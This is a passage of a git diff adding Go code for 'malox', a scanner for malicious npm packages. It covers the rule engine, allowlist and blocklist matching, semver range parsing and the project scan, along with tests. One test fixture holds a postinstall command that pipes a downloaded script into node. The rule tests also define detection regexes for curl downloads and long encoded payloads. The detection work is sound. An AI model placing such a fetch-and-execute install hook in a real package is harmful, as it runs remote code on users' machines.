scope.RuleID != "" && scope.RuleID != finding.RuleID { + return Suppression{}, false + } + if scope.Package != "" && scope.Package != finding.PackageName { + return Suppression{}, false + } + if scope.Version != "" && scope.Version != finding.PackageVersion { + return Suppression{}, false + } + if scope.PURL != "" && scope.PURL != finding.PURL { + return Suppression{}, false + } + if scope.Path != "" && scope.Path != finding.Path { + return Suppression{}, false + } + if scope.Hash != "" && scope.Hash != finding.FileHash { + return Suppression{}, false + } + if scope.Maintainer != "" && scope.Maintainer != finding.Maintainer { + return Suppression{}, false + } + if scope.URL != "" && scope.URL != finding.RegistryURL { + return Suppression{}, false + } + if scope.ScriptName != "" && scope.ScriptName != finding.ScriptName { + return Suppression{}, false + } + return Suppression{ + AllowlistID: entry.ID, + Reason: entry.Reason, + Owner: entry.Owner, + ExpiresAt: entry.ExpiresAt, + }, true +} + +func isLifecycleHook(name string) bool { + switch name { + case "preinstall", "install", "postinstall", "prepare": + return true + default: + return false + } +} diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go new file mode 100644 index 0000000..19db7d4 --- /dev/null +++ b/internal/rules/rules_test.go @@ -0,0 +1,247 @@ +package rules + +import ( + "os" + "path/filepath" + "testing" + "time" + + "malox/internal/node" +) + +func TestEvaluateBlocklistAndAllowlist(t *testing.T) { + expiresAt := time.Date(2026, 7, 1, 0, 0, 0, 0, time.UTC).Format(time.RFC3339) + policy := Policy{ + SchemaVersion: PolicySchemaVersion, + Source: "test-policy", + Blocklist: []BlocklistEntry{ + { + ID: "block:badpkg", + Package: "badpkg", + VersionRange: ">=1.0.0 <2.0.0", + }, + }, + Allowlist: []AllowlistEntry{ + { + ID: "allow:badpkg-review", + Reason: "fixture package under review", + Owner: "security", + ExpiresAt: expiresAt, + Scope: MatchScope{ + RuleID: "block:badpkg", + Package: "badpkg", + }, + }, + }, + } + + result, err := Evaluate(t.Context(), EvaluateOptions{ + Policies: []Policy{policy}, + Now: time.Date(2026, 6, 17, 0, 0, 0, 0, time.UTC), + Node: node.Inventory{ + Dependencies: []node.Dependency{ + { + Name: "badpkg", + Version: "1.2.3", + PURL: "pkg:npm/badpkg@1.2.3", + PackageManager: "npm", + SourcePath: "package-lock.json", + }, + }, + }, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + if len(result.Findings) != 1 { + t.Fatalf("Findings length = %d, want 1", len(result.Findings)) + } + finding := result.Findings[0] + if finding.Confidence != ConfidenceConfirmedMalicious || !finding.Blocking { + t.Fatalf("finding confidence/blocking = %s/%t, want confirmed blocking", finding.Confidence, finding.Blocking) + } + if !finding.Suppressed || finding.Suppression == nil { + t.Fatalf("finding suppression = %#v, want allowlist metadata", finding.Suppression) + } + if HasBlockingFindings(result.Findings) { + t.Fatal("HasBlockingFindings() = true, want false for suppressed blocklist") + } +} + +func TestEvaluateExpiredAllowlistFailsClosed(t *testing.T) { + policy := Policy{ + SchemaVersion: PolicySchemaVersion, + Source: "test-policy", + Blocklist: []BlocklistEntry{ + {ID: "block:path", Path: "blocked.js"}, + }, + Allowlist: []AllowlistEntry{ + { + ID: "allow:expired", + Reason: "expired fixture", + Owner: "security", + ExpiresAt: "2026-01-01T00:00:00Z", + Scope: MatchScope{RuleID: "block:path", Path: "blocked.js"}, + }, + }, + } + + result, err := Evaluate(t.Context(), EvaluateOptions{ + Policies: []Policy{policy}, + Now: time.Date(2026, 6, 17, 0, 0, 0, 0, time.UTC), + Files: []File{{Path: "blocked.js", SHA256: "abc", Type: "javascript"}}, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + if len(result.Findings) != 1 || result.Findings[0].Suppressed { + t.Fatalf("Findings = %#v, want unsuppressed expired allowlist match", result.Findings) + } + if !HasBlockingFindings(result.Findings) { + t.Fatal("HasBlockingFindings() = false, want true") + } +} + +func TestEvaluateMaintainerBlocklist(t *testing.T) { + policy := Policy{ + SchemaVersion: PolicySchemaVersion, + Source: "test-policy", + Blocklist: []BlocklistEntry{ + { + ID: "block:maintainer", + Maintainer: "Example Maintainer", + }, + }, + Rules: []Rule{ + { + ID: "rule:maintainer", + Description: "maintainer requires review", + Severity: SeverityMedium, + Confidence: ConfidenceWeakSignal, + Maintainers: []string{"maintainer@example.test"}, + }, + }, + } + + result, err := Evaluate(t.Context(), EvaluateOptions{ + Policies: []Policy{policy}, + Node: node.Inventory{ + Dependencies: []node.Dependency{ + { + Name: "left-pad", + Version: "1.3.0", + PURL: "pkg:npm/left-pad@1.3.0", + SourcePath: "package-lock.json", + PackagePath: "node_modules/left-pad", + Maintainers: []string{"Example Maintainer", "maintainer@example.test"}, + }, + }, + }, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + if len(result.Findings) != 2 { + t.Fatalf("Findings length = %d, want 2", len(result.Findings)) + } + var foundBlocklist bool + var foundRule bool + for _, finding := range result.Findings { + switch finding.RuleID { + case "block:maintainer": + foundBlocklist = finding.Blocking && + finding.Confidence == ConfidenceConfirmedMalicious && + finding.Maintainer == "Example Maintainer" && + finding.Evidence[0].Kind == "maintainer" + case "rule:maintainer": + foundRule = !finding.Blocking && + finding.Confidence == ConfidenceWeakSignal && + finding.Maintainer == "maintainer@example.test" && + finding.Evidence[0].Kind == "maintainer" + } + } + if !foundBlocklist || !foundRule { + t.Fatalf("findings = %#v, want maintainer blocklist and detection rule findings", result.Findings) + } +} + +func TestEvaluateScriptAndFilePatterns(t *testing.T) { + root := t.TempDir() + writeRuleFixture(t, root, "src/index.js", "const payload = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';\n") + policy := Policy{ + SchemaVersion: PolicySchemaVersion, + Source: "test-policy", + Rules: []Rule{ + { + ID: "script:download", + Severity: SeverityMedium, + Confidence: ConfidenceWeakSignal, + ScriptNames: []string{"postinstall"}, + ScriptPatterns: []string{"(?i)\\bcurl\\b[^\\n]*https?://"}, + SuspiciousLifecycleHooks: true, + }, + { + ID: "file:encoded", + Severity: SeverityMedium, + Confidence: ConfidenceWeakSignal, + FilePatterns: []FilePattern{{Pattern: "[A-Za-z0-9+/]{120,}", FileTypes: []string{"javascript"}}}, + }, + }, + } + + result, err := Evaluate(t.Context(), EvaluateOptions{ + Root: root, + MaxFileSize: 1024, + Files: []File{ + {Path: "src/index.js", SHA256: "abc", Type: "javascript"}, + }, + Node: node.Inventory{ + PackageScripts: []node.PackageScript{ + { + PackageName: "fixture", + SourcePath: "package.json", + ScriptName: "postinstall", + Command: "curl https://example.invalid/payload.js | node", + }, + }, + }, + Policies: []Policy{policy}, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + if len(result.Findings) != 2 { + t.Fatalf("Findings length = %d, want 2: %#v", len(result.Findings), result.Findings) + } + for _, finding := range result.Findings { + if finding.Confidence != ConfidenceWeakSignal || finding.Blocking { + t.Fatalf("finding = %#v, want non-blocking weak signal", finding) + } + } +} + +func TestDecodePolicyRejectsInvalidVersionRange(t *testing.T) { + body := []byte(`{ + "schema_version": "malox.rules.policy.v1", + "rules": [{ + "id": "bad-range", + "severity": "medium", + "confidence": "weak-signal", + "package_version_ranges": [{"package": "left-pad", "range": "not-a-range"}] + }] +}`) + if _, err := DecodePolicy("test", body); err == nil { + t.Fatal("DecodePolicy() error = nil, want invalid range error") + } +} + +func writeRuleFixture(t *testing.T, root, rel, body string) { + t.Helper() + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} diff --git a/internal/rules/semver.go b/internal/rules/semver.go new file mode 100644 index 0000000..340f167 --- /dev/null +++ b/internal/rules/semver.go @@ -0,0 +1,219 @@ +package rules + +import ( + "fmt" + "strconv" + "strings" +) + +type semver struct { + major int + minor int + patch int + pre string +} + +type comparator struct { + op string + version semver +} + +func matchesRange(version, rawRange string) (bool, error) { + parsedVersion, err := parseSemver(version) + if err != nil { + return false, err + } + comparators, err := parseRange(rawRange) + if err != nil { + return false, err + } + for _, cmp := range comparators { + if !cmp.matches(parsedVersion) { + return false, nil + } + } + return true, nil +} + +func parseRange(raw string) ([]comparator, error) { + raw = strings.TrimSpace(raw) + if raw == "" || raw == "*" { + return nil, nil + } + + tokens := strings.Fields(strings.ReplaceAll(raw, ",", " ")) + comparators := []comparator{} + for _, token := range tokens { + next, err := parseComparator(token) + if err != nil { + return nil, err + } + comparators = append(comparators, next...) + } + return comparators, nil +} + +func parseComparator(token string) ([]comparator, error) { + if strings.HasPrefix(token, "^") { + base, err := parseSemver(strings.TrimPrefix(token, "^")) + if err != nil { + return nil, err + } + upper := semver{major: base.major + 1} + if base.major == 0 { + upper = semver{minor: base.minor + 1} + if base.minor == 0 { + upper = semver{patch: base.patch + 1} + } + } + return []comparator{{op: ">=", version: base}, {op: "<", version: upper}}, nil + } + if strings.HasPrefix(token, "~") { + base, err := parseSemver(strings.TrimPrefix(token, "~")) + if err != nil { + return nil, err + } + upper := semver{major: base.major, minor: base.minor + 1} + return []comparator{{op: ">=", version: base}, {op: "<", version: upper}}, nil + } + if strings.ContainsAny(token, "*xX") { + return wildcardComparators(token) + } + + for _, op := range []string{">=", "<=", "!=", ">", "<", "="} { + if strings.HasPrefix(token, op) { + version, err := parseSemver(strings.TrimPrefix(token, op)) + if err != nil { + return nil, err + } + return []comparator{{op: op, version: version}}, nil + } + } + + version, err := parseSemver(token) + if err != nil { + return nil, err + } + return []comparator{{op: "=", version: version}}, nil +} + +func wildcardComparators(token string) ([]comparator, error) { + parts := strings.Split(strings.TrimPrefix(token, "v"), ".") + if len(parts) > 3 { + return nil, fmt.Errorf("invalid wildcard range %q", token) + } + nums := []int{0, 0, 0} + wildcardAt := -1 + for i, part := range parts { + if part == "*" || strings.EqualFold(part, "x") { + wildcardAt = i + break + } + n, err := strconv.Atoi(part) + if err != nil || n < 0 { + return nil, fmt.Errorf("invalid wildcard range %q", token) + } + nums[i] = n + } + if wildcardAt == -1 { + return nil, fmt.Errorf("invalid wildcard range %q", token) + } + lower := semver{major: nums[0], minor: nums[1], patch: nums[2]} + upper := lower + switch wildcardAt { + case 0: + return nil, nil + case 1: + upper.major++ + upper.minor = 0 + upper.patch = 0 + default: + upper.minor++ + upper.patch = 0 + } + return []comparator{{op: ">=", version: lower}, {op: "<", version: upper}}, nil +} + +func parseSemver(raw string) (semver, error) { + raw = strings.TrimSpace(strings.TrimPrefix(raw, "v")) + if raw == "" { + return semver{}, fmt.Errorf("empty semantic version") + } + if main, _, ok := strings.Cut(raw, "+"); ok { + raw = main + } + + main := raw + pre := "" + if before, after, ok := strings.Cut(raw, "-"); ok { + main = before + pre = after + } + + parts := strings.Split(main, ".") + if len(parts) != 3 { + return semver{}, fmt.Errorf("semantic version %q must have major.minor.patch", raw) + } + nums := [3]int{} + for i, part := range parts { + if part == "" { + return semver{}, fmt.Errorf("semantic version %q has an empty numeric part", raw) + } + n, err := strconv.Atoi(part) + if err != nil || n < 0 { + return semver{}, fmt.Errorf("semantic version %q has invalid numeric part %q", raw, part) + } + nums[i] = n + } + return semver{major: nums[0], minor: nums[1], patch: nums[2], pre: pre}, nil +} + +func compareSemver(a, b semver) int { + switch { + case a.major != b.major: + return compareInt(a.major, b.major) + case a.minor != b.minor: + return compareInt(a.minor, b.minor) + case a.patch != b.patch: + return compareInt(a.patch, b.patch) + case a.pre == b.pre: + return 0 + case a.pre == "": + return 1 + case b.pre == "": + return -1 + default: + return strings.Compare(a.pre, b.pre) + } +} + +func compareInt(a, b int) int { + switch { + case a < b: + return -1 + case a > b: + return 1 + default: + return 0 + } +} + +func (c comparator) matches(version semver) bool { + order := compareSemver(version, c.version) + switch c.op { + case "=": + return order == 0 + case "!=": + return order != 0 + case ">": + return order > 0 + case ">=": + return order >= 0 + case "<": + return order < 0 + case "<=": + return order <= 0 + default: + return false + } +} diff --git a/internal/rules/test.go b/internal/rules/test.go new file mode 100644 index 0000000..e7dff5a --- /dev/null +++ b/internal/rules/test.go @@ -0,0 +1,22 @@ +package rules + +// NewTestResult returns the JSON model for one rules test invocation. +func NewTestResult(ruleFile, fixture string, findings []Finding, warnings []Warning, expected *int) TestResult { + result := TestResult{ + SchemaVersion: TestSchemaVersion, + RuleFile: ruleFile, + Fixture: fixture, + Valid: true, + Passed: true, + MatchCount: len(findings), + ExpectedFindings: expected, + Findings: findings, + Warnings: warnings, + Errors: []string{}, + } + if expected != nil && len(findings) != *expected { + result.Passed = false + result.Errors = append(result.Errors, "finding count did not match expectation") + } + return result +} diff --git a/internal/rules/types.go b/internal/rules/types.go new file mode 100644 index 0000000..41fc636 --- /dev/null +++ b/internal/rules/types.go @@ -0,0 +1,245 @@ +// Package rules evaluates deterministic local Malox policy. +package rules + +import ( + "time" + + "malox/internal/node" +) + +// PolicySchemaVersion is the supported local policy schema. +const PolicySchemaVersion = "malox.rules.policy.v1" + +// FindingSchemaVersion is the schema used for scan finding records. +const FindingSchemaVersion = "malox.finding.v1" + +// TestSchemaVersion is the schema used by rules test output. +const TestSchemaVersion = "malox.rules.test.v1" + +// Severity describes the operational impact of a finding. +type Severity string + +const ( + // SeverityLow is informational or low-risk policy output. + SeverityLow Severity = "low" + // SeverityMedium needs review but is not a confirmed block. + SeverityMedium Severity = "medium" + // SeverityHigh is serious and may be promoted by policy. + SeverityHigh Severity = "high" + // SeverityCritical is used for confirmed local blocklist hits. + SeverityCritical Severity = "critical" +) + +// Confidence describes how strong the evidence is. +type Confidence string + +const ( + // ConfidenceConfirmedMalicious is a strong local or upstream malicious signal. + ConfidenceConfirmedMalicious Confidence = "confirmed-malicious" + // ConfidenceKnownVulnerable is reserved for vulnerability source matches. + ConfidenceKnownVulnerable Confidence = "known-vulnerable" + // ConfidenceSuspiciousHistory is reserved for historical risk signals. + ConfidenceSuspiciousHistory Confidence = "suspicious-history" + // ConfidenceWeakSignal is a heuristic signal that needs supporting evidence. + ConfidenceWeakSignal Confidence = "weak-signal" + // ConfidenceUnknown means the rule source did not classify confidence. + ConfidenceUnknown Confidence = "unknown" +) + +// Policy groups detection rules, allowlists, blocklists, and test expectations. +type Policy struct { + SchemaVersion string `json:"schema_version"` + Source string `json:"source,omitempty"` + Rules []Rule `json:"rules,omitempty"` + Allowlist []AllowlistEntry `json:"allowlist,omitempty"` + Blocklist []BlocklistEntry `json:"blocklist,omitempty"` + Tests *TestExpectations `json:"tests,omitempty"` +} + +// Rule is one deterministic local detection rule. +type Rule struct { + ID string `json:"id"` + Description string `json:"description,omitempty"` + Severity Severity `json:"severity"` + Confidence Confidence `json:"confidence"` + PathPatterns []string `json:"path_patterns,omitempty"` + FileSHA256 []string `json:"file_sha256,omitempty"` + PackageNames []string `json:"package_names,omitempty"` + PackageVersionRanges []VersionRange `json:"package_version_ranges,omitempty"` + PURLs []string `json:"purls,omitempty"` + RegistryURLs []string `json:"registry_urls,omitempty"` + Maintainers []string `json:"maintainers,omitempty"` + ScriptNames []string `json:"script_names,omitempty"` + ScriptPatterns []string `json:"script_patterns,omitempty"` + SuspiciousLifecycleHooks bool `json:"suspicious_lifecycle_hooks,omitempty"` + FilePatterns []FilePattern `json:"file_patterns,omitempty"` +} + +// VersionRange matches a package version using parsed semantic version rules. +type VersionRange struct { + Package string `json:"package,omitempty"` + Range string `json:"range"` +} + +// FilePattern matches bounded file contents with a regular expression. +type FilePattern struct { + ID string `json:"id,omitempty"` + Pattern string `json:"pattern"` + PathPatterns []string `json:"path_patterns,omitempty"` + FileTypes []string `json:"file_types,omitempty"` + MaxBytes int64 `json:"max_bytes,omitempty"` +} + +// AllowlistEntry suppresses an exact matching finding until it expires. +type AllowlistEntry struct { + ID string `json:"id"` + Reason string `json:"reason"` + Owner string `json:"owner"` + ExpiresAt string `json:"expires_at"` + Scope MatchScope `json:"scope"` +} + +// BlocklistEntry creates a high-confidence blocking finding when it matches. +type BlocklistEntry struct { + ID string `json:"id"` + Reason string `json:"reason,omitempty"` + Severity Severity `json:"severity,omitempty"` + Confidence Confidence `json:"confidence,omitempty"` + Package string `json:"package,omitempty"` + VersionRange string `json:"version_range,omitempty"` + PURL string `json:"purl,omitempty"` + Hash string `json:"hash,omitempty"` + Maintainer string `json:"maintainer,omitempty"` + URL string `json:"url,omitempty"` + Path string `json:"path,omitempty"` + PathPattern string `json:"path_pattern,omitempty"` +} + +// MatchScope defines the exact scope required for allowlist suppression. +type MatchScope struct { + FindingID string `json:"finding_id,omitempty"` + RuleID string `json:"rule_id,omitempty"` + Package string `json:"package,omitempty"` + Version string `json:"version,omitempty"` + PURL string `json:"purl,omitempty"` + Path string `json:"path,omitempty"` + Hash string `json:"hash,omitempty"` + Maintainer string `json:"maintainer,omitempty"` + URL string `json:"url,omitempty"` + ScriptName string `json:"script_name,omitempty"` +} + +// TestExpectations defines optional rules test pass/fail assertions. +type TestExpectations struct { + ExpectedFindings *int `json:"expected_findings,omitempty"` +} + +// File is the file metadata visible to the rule engine. +type File struct { + Path string + SHA256 string + Type string + PackageOwner string + Size int64 +} + +// EvaluateOptions configures one rule engine evaluation pass. +type EvaluateOptions struct { + Root string + Files []File + Node node.Inventory + Policies []Policy + MaxFileSize int64 + Now time.Time +} + +// EvaluateResult contains local policy findings and non-fatal rule warnings. +type EvaluateResult struct { + Findings []Finding + Warnings []Warning +} + +// Warning reports a non-fatal policy evaluation issue. +type Warning struct { + Path string `json:"path,omitempty"` + Code string `json:"code"` + Message string `json:"message"` +} + +// Finding is one local policy finding emitted in scan JSON. +type Finding struct { + SchemaVersion string `json:"schema_version"` + ID string `json:"id"` + Severity Severity `json:"severity"` + Confidence Confidence `json:"confidence"` + Source string `json:"source"` + RuleID string `json:"rule_id"` + RuleType string `json:"rule_type"` + Summary string `json:"summary"` + Evidence []Evidence `json:"evidence"` + Path string `json:"path,omitempty"` + FileHash string `json:"file_hash,omitempty"` + PackageOwner string `json:"package_owner,omitempty"` + PackageName string `json:"package_name,omitempty"` + PackageVersion string `json:"package_version,omitempty"` + PURL string `json:"purl,omitempty"` + RegistryURL string `json:"registry_url,omitempty"` + Maintainer string `json:"maintainer,omitempty"` + ScriptName string `json:"script_name,omitempty"` + Location *Location `json:"location,omitempty"` + Suppressed bool `json:"suppressed"` + Suppression *Suppression `json:"suppression,omitempty"` + Blocking bool `json:"blocking"` +} + +// Evidence describes the matched fact behind a finding. +type Evidence struct { + Kind string `json:"kind"` + Value string `json:"value,omitempty"` + Pattern string `json:"pattern,omitempty"` + Path string `json:"path,omitempty"` + FileHash string `json:"file_hash,omitempty"` + PackageName string `json:"package_name,omitempty"` + PackageVersion string `json:"package_version,omitempty"` + PURL string `json:"purl,omitempty"` + RegistryURL string `json:"registry_url,omitempty"` + Maintainer string `json:"maintainer,omitempty"` + ScriptName string `json:"script_name,omitempty"` + Command string `json:"command,omitempty"` + Expression string `json:"expression,omitempty"` + DecodedSHA256 string `json:"decoded_sha256,omitempty"` + Classification string `json:"classification,omitempty"` + Decoder string `json:"decoder,omitempty"` + Line int `json:"line,omitempty"` + Column int `json:"column,omitempty"` +} + +// Location identifies the best available exact location for a finding. +type Location struct { + Path string `json:"path,omitempty"` + ScriptName string `json:"script_name,omitempty"` + Line int `json:"line,omitempty"` + Column int `json:"column,omitempty"` +} + +// Suppression records the allowlist entry that suppressed a finding. +type Suppression struct { + AllowlistID string `json:"allowlist_id"` + Reason string `json:"reason"` + Owner string `json:"owner"` + ExpiresAt string `json:"expires_at"` +} + +// TestResult is the machine-readable output for malox rules test. +type TestResult struct { + SchemaVersion string `json:"schema_version"` + RuleFile string `json:"rule_file"` + Fixture string `json:"fixture"` + Valid bool `json:"valid"` + Passed bool `json:"passed"` + MatchCount int `json:"match_count"` + ExpectedFindings *int `json:"expected_findings,omitempty"` + Findings []Finding `json:"findings"` + Warnings []Warning `json:"warnings,omitempty"` + Errors []string `json:"errors,omitempty"` +} diff --git a/internal/scan/scan.go b/internal/scan/scan.go new file mode 100644 index 0000000..052b1d0 --- /dev/null +++ b/internal/scan/scan.go @@ -0,0 +1,798 @@ +package scan + +import ( + "cmp" + "context" + "crypto/sha256" + "encoding/hex" + "errors" + "fmt" + "io" + "io/fs" + "os" + "path/filepath" + "slices" + "strings" + "sync" + "time" + + "malox/internal/fileid" + "malox/internal/node" + "malox/internal/node/jsanalysis" + "malox/internal/rules" +) + +type candidate struct { + meta fileid.Metadata +} + +type previousIndex struct { + files map[string]File + hasSnapshot bool +} + +type processResult struct { + file File + skipped *SkippedFile + issue *Issue +} + +// Project scans a project root and returns a deterministic baseline snapshot. +func Project(ctx context.Context, opts Options) (Snapshot, error) { + if err := ctx.Err(); err != nil { + return Snapshot{}, fmt.Errorf("start scan: %w", err) + } + + now := time.Now + if opts.Now != nil { + now = opts.Now + } + if opts.ScannerVersion == "" { + opts.ScannerVersion = "unknown" + } + if opts.MaxWorkers < 1 { + opts.MaxWorkers = 1 + } + if opts.MaxFileSize < 1 { + return Snapshot{}, errors.New("max file size must be greater than 0") + } + + root, err := fileid.NormalizeRoot(opts.Root) + if err != nil { + return Snapshot{}, fmt.Errorf("resolve project root: %w", err) + } + + startedAt := now().UTC() + stateRel := stateRelativePath(root, opts.StateDir) + candidates, skippedDirs, walkIssues, signals, err := walkProject(ctx, root, stateRel) + if err != nil { + return Snapshot{}, err + } + + previous := indexPrevious(opts.Previous) + files, skippedFiles, processIssues, err := processCandidates( + ctx, + root, + candidates, + opts.MaxWorkers, + opts.MaxFileSize, + opts.StrictHash, + previous, + ) + if err != nil { + return Snapshot{}, err + } + + nodeInventory, err := node.Build(ctx, node.BuildOptions{ + Root: root, + Files: nodeFileRefs(files), + Signals: signals, + }) + if err != nil { + return Snapshot{}, fmt.Errorf("build node inventory: %w", err) + } + signals = nodeInventory.Signals + + ruleResult, err := rules.Evaluate(ctx, rules.EvaluateOptions{ + Root: root, + Files: ruleFileRefs(files), + Node: nodeInventory, + Policies: opts.RulePolicies, + MaxFileSize: opts.MaxFileSize, + Now: now().UTC(), + }) + if err != nil { + return Snapshot{}, fmt.Errorf("evaluate rules: %w", err) + } + jsResult, err := jsanalysis.Analyze(ctx, jsanalysis.Options{ + Root: root, + Files: jsAnalysisFileRefs(files), + MaxFileSize: opts.MaxFileSize, + DecodedPayloadDir: opts.DecodedPayloadDir, + }) + if err != nil { + return Snapshot{}, fmt.Errorf("analyze javascript payloads: %w", err) + } + + issues := append(walkIssues, processIssues...) + issues = append(issues, ruleWarningIssues(ruleResult.Warnings)...) + issues = append(issues, jsAnalysisWarningIssues(jsResult.Warnings)...) + sortSnapshotData(files, skippedFiles, skippedDirs, issues, signals) + signals = uniqueSignals(signals) + + snapshot := Snapshot{ + SchemaVersion: SchemaVersion, + ScannerVersion: opts.ScannerVersion, + ScanID: scanID(startedAt), + ProjectRoot: ".", + StartedAt: startedAt, + FinishedAt: now().UTC(), + PackageManagers: signals, + Node: nodeInventory, + Findings: append(ruleResult.Findings, jsResult.Findings...), + Files: files, + SkippedFiles: skippedFiles, + SkippedDirectories: skippedDirs, + Errors: issues, + } + snapshot.ProjectID = buildProjectID(root, files) + RefreshSummary(&snapshot) + return snapshot, nil +} + +func walkProject( + ctx context.Context, + root string, + stateRel string, +) ([]candidate, []SkippedDirectory, []Issue, []PackageManagerSignal, error) { + candidates := []candidate{} + skippedDirs := []SkippedDirectory{} + issues := []Issue{} + signals := []PackageManagerSignal{} + + err := filepath.WalkDir(root, func(path string, entry fs.DirEntry, walkErr error) error { + if err := ctx.Err(); err != nil { + return err + } + + rel := displayPath(root, path) + if walkErr != nil { + issues = append(issues, Issue{ + Path: rel, + Code: "walk_error", + Message: cleanErrorMessage(root, walkErr), + }) + if entry != nil && entry.IsDir() { + return filepath.SkipDir + } + return nil + } + if path == root { + return nil + } + + if signal, ok := detectPackageManagerSignal(rel, entry.IsDir()); ok { + signals = append(signals, signal) + } + + if entry.IsDir() { + reason, ok := skipDirectoryReason(rel, stateRel) + if !ok { + return nil + } + skippedDirs = append(skippedDirs, SkippedDirectory{ + Path: rel, + Reason: reason, + }) + return filepath.SkipDir + } + + meta, err := fileid.Inspect(root, path) + if err != nil { + issues = append(issues, Issue{ + Path: rel, + Code: "metadata_error", + Message: cleanErrorMessage(root, err), + }) + return nil + } + candidates = append(candidates, candidate{meta: meta}) + return nil + }) + if err != nil { + return nil, nil, nil, nil, fmt.Errorf("walk project: %w", err) + } + + return candidates, skippedDirs, issues, signals, nil +} + +func processCandidates( + ctx context.Context, + root string, + candidates []candidate, + maxWorkers int, + maxFileSize int64, + strictHash bool, + previous previousIndex, +) ([]File, []SkippedFile, []Issue, error) { + if len(candidates) == 0 { + return nil, nil, nil, ctx.Err() + } + workers := min(maxWorkers, len(candidates)) + jobs := make(chan candidate) + results := make(chan processResult, len(candidates)) + + var wg sync.WaitGroup + for range workers { + wg.Go(func() { + for job := range jobs { + result := processCandidate(ctx, root, job, maxFileSize, strictHash, previous) + select { + case results <- result: + case <-ctx.Done(): + return + } + } + }) + } + + go func() { + defer close(jobs) + for _, job := range candidates { + select { + case jobs <- job: + case <-ctx.Done(): + return + } + } + }() + + go func() { + wg.Wait() + close(results) + }() + + files := make([]File, 0, len(candidates)) + skipped := []SkippedFile{} + issues := []Issue{} + for result := range results { + files = append(files, result.file) + if result.skipped != nil { + skipped = append(skipped, *result.skipped) + } + if result.issue != nil { + issues = append(issues, *result.issue) + } + } + if err := ctx.Err(); err != nil { + return nil, nil, nil, fmt.Errorf("process scan files: %w", err) + } + return files, skipped, issues, nil +} + +func processCandidate( + ctx context.Context, + root string, + candidate candidate, + maxFileSize int64, + strictHash bool, + previous previousIndex, +) processResult { + meta := candidate.meta + file := File{ + Path: meta.RelativePath, + Size: meta.Size, + ModifiedTime: meta.ModifiedTime, + Mode: meta.Mode.String(), + Permissions: meta.Permissions, + Symlink: meta.Symlink, + SymlinkTarget: meta.SymlinkTarget, + Type: Classify(meta.RelativePath), + Status: StatusScanned, + State: FileStatePreviouslyUnscanned, + PackageOwner: PackageOwner(meta.RelativePath), + } + prev, hasPrevious := previous.files[file.Path] + file.State = classifyInitialState(file, prev, hasPrevious, previous.hasSnapshot) + + if meta.Symlink { + reason := SkipReason{ + Code: "symlink_not_followed", + Message: "symlinks are recorded but not followed", + } + file.Status = StatusSkipped + file.State = FileStateSkipped + file.SkipReason = &reason + return processResult{ + file: file, + skipped: &SkippedFile{ + Path: file.Path, + Reason: reason, + }, + } + } + + if !meta.Mode.IsRegular() { + reason := SkipReason{ + Code: "unsupported_file_mode", + Message: "only regular files are scanned in the baseline snapshot", + } + file.Status = StatusSkipped + file.State = FileStateSkipped + file.SkipReason = &reason + return processResult{ + file: file, + skipped: &SkippedFile{ + Path: file.Path, + Reason: reason, + }, + } + } + + if meta.Size > maxFileSize { + reason := SkipReason{ + Code: "max_file_size", + Message: "file exceeds configured maximum size", + LimitBytes: maxFileSize, + ActualBytes: meta.Size, + } + file.Status = StatusSkipped + file.State = FileStateSkipped + file.SkipReason = &reason + return processResult{ + file: file, + skipped: &SkippedFile{ + Path: file.Path, + Reason: reason, + }, + } + } + + if !strictHash && reusableHash(file, prev, hasPrevious) { + file.SHA256 = prev.SHA256 + file.State = FileStateUnchanged + return processResult{file: file} + } + + hash, err := fileid.HashFile(ctx, root, meta.RelativePath, maxFileSize) + if err != nil { + if errors.Is(err, fileid.ErrFileTooLarge) { + reason := SkipReason{ + Code: "max_file_size", + Message: "file grew beyond configured maximum size while hashing", + LimitBytes: maxFileSize, + ActualBytes: meta.Size, + } + file.Status = StatusSkipped + file.State = FileStateSkipped + file.SkipReason = &reason + return processResult{ + file: file, + skipped: &SkippedFile{ + Path: file.Path, + Reason: reason, + }, + } + } + file.Status = StatusError + return processResult{ + file: file, + issue: &Issue{ + Path: file.Path, + Code: "hash_error", + Message: cleanErrorMessage(root, err), + }, + } + } + + file.SHA256 = hash + file.State = classifyHashedState(file, prev, hasPrevious, previous.hasSnapshot) + return processResult{file: file} +} + +func skipDirectoryReason(rel, stateRel string) (SkipReason, bool) { + if rel == stateRel { + return SkipReason{ + Code: "malox_state", + Message: "malox project state is skipped by default", + }, true + } + + base := lastPathElement(rel) + switch base { + case ".git": + return SkipReason{ + Code: "version_control", + Message: "version control metadata is skipped by default", + }, true + case ".malox": + return SkipReason{ + Code: "malox_state", + Message: "malox project state is skipped by default", + }, true + case "dist", "build", "out", "target", ".next", ".nuxt", ".svelte-kit": + return SkipReason{ + Code: "build_output", + Message: "build output is skipped by default", + }, true + case "coverage", ".nyc_output": + return SkipReason{ + Code: "coverage_output", + Message: "coverage output is skipped by default", + }, true + case ".cache", ".parcel-cache", ".turbo", ".vite", ".rollup.cache", ".npm", ".pnpm-store": + return SkipReason{ + Code: "package_manager_cache", + Message: "package manager or tool cache is skipped by default", + }, true + } + + if rel == ".yarn/cache" || rel == ".yarn/unplugged" { + return SkipReason{ + Code: "package_manager_cache", + Message: "yarn package cache is skipped by default", + }, true + } + + return SkipReason{}, false +} + +func stateRelativePath(root, stateDir string) string { + if stateDir == "" { + return "" + } + if !filepath.IsAbs(stateDir) { + stateDir = filepath.Join(root, stateDir) + } + absolute, err := filepath.Abs(stateDir) + if err != nil { + return "" + } + if resolved, err := filepath.EvalSymlinks(absolute); err == nil { + absolute = resolved + } + rel, err := fileid.SnapshotPath(root, filepath.Clean(absolute)) + if err != nil { + return "" + } + return rel +} + +func indexPrevious(snapshot *Snapshot) previousIndex { + if 